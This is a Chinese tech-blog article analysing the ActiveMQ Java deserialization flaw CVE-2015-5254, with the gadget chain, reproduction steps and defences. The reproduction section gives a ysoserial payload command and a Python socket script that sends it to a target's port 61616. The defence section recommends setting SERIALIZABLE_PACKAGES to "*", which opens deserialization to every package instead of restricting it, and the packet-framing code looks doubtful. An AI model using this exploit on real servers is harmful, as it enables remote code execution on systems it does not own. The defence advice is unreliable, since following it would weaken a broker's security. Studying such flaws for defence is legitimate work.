ActiveMQ反序列化任意命令执行漏洞的实例分析

发布时间:2021-12-28 20:01:47 作者:柒染
来源:亿速云 阅读:456
# ActiveMQ反序列化任意命令执行漏洞的实例分析

## 一、漏洞背景

Apache ActiveMQ作为一款流行的开源消息中间件,广泛应用于分布式系统中。2016年曝光的CVE-2015-5254漏洞揭示了其Java反序列化机制的安全缺陷,攻击者可通过构造恶意序列化数据实现远程代码执行(RCE)。本文将通过技术原理分析、漏洞复现和防御方案三个维度深入剖析该漏洞。

## 二、漏洞原理分析

### 2.1 Java反序列化漏洞基础
Java序列化/反序列化机制允许对象转换为字节流进行传输或存储。当程序反序列化不可信数据时,可能触发以下危险行为:
```java
ObjectInputStream.readObject() → 自动执行readObject()方法

攻击者可利用以下Gadget Chain:

恶意序列化数据 → 触发特定类的readObject() → 调用危险方法(如Runtime.exec())

2.2 ActiveMQ漏洞触发点

ActiveMQ通过OpenWire协议通信时,核心漏洞点位于:

org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#createThrowable()

该方法在反序列化异常对象时未做严格校验,导致攻击者可注入恶意Throwable对象。

2.3 利用链构造

典型利用依赖以下关键类: - org.apache.commons.collections.Transformer - org.apache.commons.collections.functors.InvokerTransformer - org.apache.commons.collections.map.LazyMap

通过精心构造的Transformer链,最终可达成任意命令执行:

InvokerTransformer.transform() → Method.invoke() → Runtime.exec("calc")

三、漏洞复现实验

3.1 实验环境

3.2 利用工具准备

使用ysoserial生成Payload:

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser

3.3 攻击步骤

  1. 构造恶意消息
import socket
with open('payload.ser', 'rb') as f:
    payload = f.read()
# 包装为OpenWire协议格式
exploit = b'\x00\x00\x00\x01' + payload[4:]  
  1. 发送至61616端口
s = socket.socket()
s.connect(('target_ip', 61616))
s.send(exploit)
  1. 验证执行结果
docker exec activemq ls /tmp | grep pwned

3.4 流量特征分析

Wireshark捕获的恶意流量显示:

0000  00 00 00 01 ac ed 00 05 73 72 00 11 6a 61 76 61  ........sr..java
0010  2e 75 74 69 6c 2e 48 61 73 68 4d 61 70 05 07 da  .util.HashMap...

四、防御方案

4.1 官方修复措施

4.2 临时缓解方案

<broker xmlns="http://activemq.apache.org/schema/core">
    <transportConnectors>
        <transportConnector name="openwire" uri="tcp://0.0.0.0:61616?wireFormat.maxInactivityDuration=1000&amp;serializablePackages=java.lang,java.util"/>
    </transportConnectors>
</broker>

4.3 深度防御建议

  1. JVM层面防护
-Dorg.apache.activemq.SERIALIZABLE_PACKAGES="*"
  1. 网络隔离
  1. 运行时监控
auditctl -a always,exit -F arch=b64 -S execve -k activemq_rce

五、漏洞启示

  1. 反序列化黑名单的局限性:后续曝光的多个绕过案例证明黑名单机制存在固有缺陷
  2. 供应链安全重要性:commons-collections等基础库的安全影响范围巨大
  3. 纵深防御必要性:需结合输入校验、最小权限、行为监控等多层防护

该漏洞作为Java反序列化漏洞的经典案例,至今仍对分布式系统安全设计具有重要警示意义。


参考资源: 1. ActiveMQ JIRA Issue AMQ-6472 2. Common Collections Gadget Chain分析 3. CVE-2015-5254 NVD记录 “`

推荐阅读:
  1. 利用Vulnhub复现漏洞 - Couchdb 任意命令执行
  2. web命令执行漏洞

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

activemq

上一篇:Apache Flink目录遍历漏洞CVE-2020-17518的WINDOWS环境复现是怎么样的

下一篇:如何实现远程命令执行漏洞CVE-2017-8464复现

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》